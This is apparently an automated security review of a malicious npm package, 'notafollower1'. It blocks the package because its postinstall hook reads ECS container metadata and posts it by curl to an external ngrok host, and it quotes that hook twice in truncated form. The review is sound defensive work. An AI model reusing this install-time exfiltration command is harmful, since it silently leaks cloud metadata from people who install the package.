## Security analysis

### Published attack-surface review

- **Summary:** Installing the package runs a postinstall hook that collects ECS container metadata stats and sends the output to an external endpoint.

- **Trigger:** npm installation (postinstall)

- **Impact:** Potential disclosure of container metadata to an attacker-controlled endpoint.

- **Evidence paths:** package.json

- **Review source:** ai\_review

- **Reviewed:** 2026-08-13T21:35:05.016Z

### AI review details

- **Review stage:** source\_first\_review

- **Mechanism:** install-time ECS metadata collection piped to external HTTP POST

- **Attack narrative:** During installation, the package executes a shell pipeline. A Node inline script requests the ECS metadata endpoint's /stats path and prints its response; curl then posts that output to an external ngrok URL. This occurs without an explicit user command or package functionality.

- **Rationale:** The sole package behavior is an install-time collection-and-exfiltration pipeline targeting ECS metadata and an unrelated external host.

- **Files touched:** package.json

- **Network endpoints:** https://mourner-slot-explicit.ngrok-free.dev

### Review decision

- **Verdict:** Malicious

- **Confidence:** 99.0%

- **Recommended action:** publish\_block

- **Intent class:** Malware

- **False-positive risk:** Low

- **Evidence for:** package.json defines an unconsented postinstall command., The hook fetches ECS container metadata /stats and pipes its response to an external ngrok host.

- **Evidence against:** Package contains no other source files or declared runtime entrypoints.

## Public findings

### 1. High: Install Time Lifecycle Scripts
- **Category:** Manifest
- **Confidence:** 90.0%
- **Path:** package.json
- **Public source:** [View source](<https://unpkg.com/notafollower1@1.0.3/package.json>)

Package defines install-time lifecycle scripts.

Public source snippet (untrusted):

```json
scripts.postinstall = node -e "fetch(process.env.ECS_CONTAINER_METADATA_URI_V4 + '/stats').then(async r=>console.log(r.status,await r.text())).catch(console.error)" | curl -X POST 'https://mourner-slot-...
```

### 2. Critical: Red Install Lifecycle Script
- **Category:** Manifest
- **Confidence:** 95.0%
- **Path:** package.json
- **Public source:** [View source](<https://unpkg.com/notafollower1@1.0.3/package.json>)

Install-time lifecycle script matches a deterministic static-gate block pattern.

Public source snippet (untrusted):

```json
scripts.postinstall = node -e "fetch(process.env.ECS_CONTAINER_METADATA_URI_V4 + '/stats').then(async r=>console.log(r.status,await r.text())).catch(console.error)" | curl -X POST 'https://mourner-slot-...
```

### 3. Low: Scripts Present
- **Category:** Manifest
- **Confidence:** 100.0%

Package declares npm scripts.

### 4. Low: No License
